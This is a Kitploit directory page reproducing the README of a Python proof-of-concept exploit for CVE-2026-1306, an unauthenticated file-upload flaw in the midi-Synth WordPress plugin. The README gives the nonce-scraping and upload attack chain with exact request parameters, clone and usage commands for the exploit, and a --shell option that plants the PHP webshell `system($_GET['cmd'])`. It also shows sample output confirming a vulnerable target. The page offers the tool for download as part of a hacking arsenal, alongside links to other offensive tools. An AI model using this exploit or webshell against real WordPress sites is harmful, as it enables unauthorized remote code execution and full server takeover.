Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-1306 — Python proof-of-concept for CVE-2026-1306: extracts the midi-Synth nonce, uploads arbitrary files via the export AJAX action, and verifies RCE through a PHP webshell. | Kitploit
Tools/GitHubGitHub/securenet-dynamics/cve-2026-1306
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Trojan
GitHubsecurenet-dynamics/cve-2026-1306

CVE-2026-1306

Python proof-of-concept for CVE-2026-1306: extracts the midi-Synth nonce, uploads arbitrary files via the export AJAX action, and verifies RCE through a PHP webshell.

View Repository
23 days agoNot yet reviewed
Share

CVE-2026-1306 — midi-Synth <= 1.1.0 Unauthenticated Arbitrary File Upload

CVE CVSS CWE Platform Language License

Proof-of-Concept (PoC) exploit for CVE-2026-1306, a critical unauthenticated arbitrary file upload vulnerability in the WordPress plugin midi-Synth (versions <= 1.1.0) that can lead to Remote Code Execution (RCE).


📌 Table of Contents

  • Overview
  • Vulnerability Details
  • Affected Versions
  • Root Cause
  • Attack Chain
  • Requirements
  • Installation
  • Usage
    • Vulnerability Check
    • Custom File Upload
    • Webshell Upload (RCE)
  • Examples
  • How It Works
  • Detection & Remediation
  • Legal Disclaimer
  • References
  • Author

🧭 Overview

CVE-2026-1306 is a critical (CVSS 9.8) unrestricted file upload vulnerability in the WordPress plugin midi-Synth. The plugin's export AJAX action fails to validate file type and extension, allowing unauthenticated attackers to upload arbitrary files — including PHP scripts — to a publicly accessible directory .

The only prerequisite is a nonce, which the plugin exposes in frontend JavaScript, making it trivially obtainable by any unauthenticated visitor .

This repository contains a Python 3 PoC that:

  • Extracts the required nonce from the target's frontend
  • Uploads arbitrary files (including PHP webshells) via the vulnerable endpoint
  • Verifies successful upload and provides the execution URL

⚠️ This is not a detection tool. Successful exploitation results in full server compromise.


🔍 Vulnerability Details

FieldValue
CVE IDCVE-2026-1306
Vulnerability TypeUnauthenticated Arbitrary File Upload → RCE
CWECWE-434: Unrestricted Upload of File with Dangerous Type
CVSS v3.1 Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack VectorNetwork
Privileges RequiredNone (unauthenticated)
User InteractionNone
ImpactConfidentiality: High · Integrity: High · Availability: High
Affected Componentexport AJAX action in admin-ajax.php
Vendormidi-Synth (WordPress plugin)
Patched Version2.0.0

CVSS Breakdown

  • AV:N — Remotely exploitable over the network
  • AC:L — No special conditions; nonce is exposed publicly
  • PR:N — No authentication required
  • UI:N — No user interaction required (unlike phishing vulnerabilities)
  • S:U — Scope unchanged
  • C:H/I:H/A:H — Full loss of confidentiality, integrity, and availability

📦 Affected Versions

PluginVersions AffectedFixed In
midi-Synth<= 1.1.02.0.0

⚠️ Update to version 2.0.0 or later immediately. This vulnerability is actively tracked by WordPress security vendors and has public Nuclei templates available .


🧬 Root Cause

The plugin's export AJAX handler (midiSynth.php and midiSynthConvert.php) processes file uploads without validating:

  1. File extension — .php files are accepted
  2. MIME type — arbitrary content types are accepted
  3. File content — no inspection of uploaded data

The handler uses the fileName and fileMidi (base64-encoded content) POST parameters. Because the upload directory (/wp-content/plugins/midi-synth/sound/) is web-accessible and PHP execution is typically enabled in plugin directories, uploaded PHP files are executed by the server .

The Nonce Problem

The plugin requires a valid nonce for the export action. However, this nonce is embedded in frontend JavaScript on every page load :

var midiSynth_nonce = "a1b2c3d4e5";

Any unauthenticated visitor (including the attacker) can scrape this value with a simple GET request. The nonce provides no security benefit in this context.


🎯 Attack Chain

This is a direct, unauthenticated server compromise. No victim interaction is needed.

  Attacker                          Target WordPress Server
     │                                        │
     │ 1. GET /                               │
     │───────────────────────────────────────>│
     │                                        │
     │ 2. HTML response with nonce            │
     │<───────────────────────────────────────│
     │    midiSynth_nonce = "abc123"          │
     │                                        │
     │ 3. POST /wp-admin/admin-ajax.php       │
     │    action=export                       │
     │    nonce=abc123                        │
     │    fileName=shell_x7k2.php             │
     │    fileMidi=<base64 PHP code>          │
     │───────────────────────────────────────>│
     │                                        │
     │ 4. File written to:                    │
     │    /wp-content/plugins/                │
     │    midi-synth/sound/shell_x7k2.php     │
     │<───────────────────────────────────────│
     │                                        │
     │ 5. GET /wp-content/.../shell_x7k2.php?cmd=id
     │───────────────────────────────────────>│
     │                                        │
     │ 6. Command output (RCE)                │
     │<───────────────────────────────────────│
     │                                        │

Result: The attacker has a persistent webshell on the server and can execute arbitrary system commands.


⚙️ Requirements

  • Python 3.7+
  • requests library
  • Network access to the target WordPress instance

Install dependencies:

pip install requests

🛠 Installation

git clone https://github.com/SecureNet-Dynamics/CVE-2026-1306.git
cd CVE-2026-1306

---

## 🚀 Usage

```bash
python3 CVE-2026-1306.py -t <TARGET_URL> [OPTIONS]

Arguments

FlagLong FormDescription
-t--targetRequired. Target WordPress base URL
--check—Upload a test .txt file to verify vulnerability
-f--filenameFilename to upload (with -c for content)
-c--contentContent for the uploaded file (default: test string)
--shell—Upload a PHP webshell for RCE
-k--insecureDisable SSL certificate verification

1. Vulnerability Check

Uploads a harmless .txt file and verifies it's accessible.

python3 CVE-2026-1306.py -t http://target.com --check

Expected output (vulnerable):

[+] Fetching nonce from http://target.com
[+] Nonce: a1b2c3d4e5
[+] Uploading: test_x7k2m9.txt
[✓] File accessible: http://target.com/wp-content/plugins/midi-synth/sound/test_x7k2m9.txt
[+] Content preview: CVE-2026-1306 test
[!] Target VULNERABLE to CVE-2026-1306

2. Custom File Upload

Upload a specific file with custom content.

python3 CVE-2026-1306.py -t http://target.com -f proof.txt -c "authorized-testing"

3. Webshell Upload (RCE)

Uploads a minimal PHP webshell (<?php system($_GET['cmd']); ?>) and provides the execution URL.

python3 CVE-2026-1306.py -t http://target.com --shell

Expected output:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools →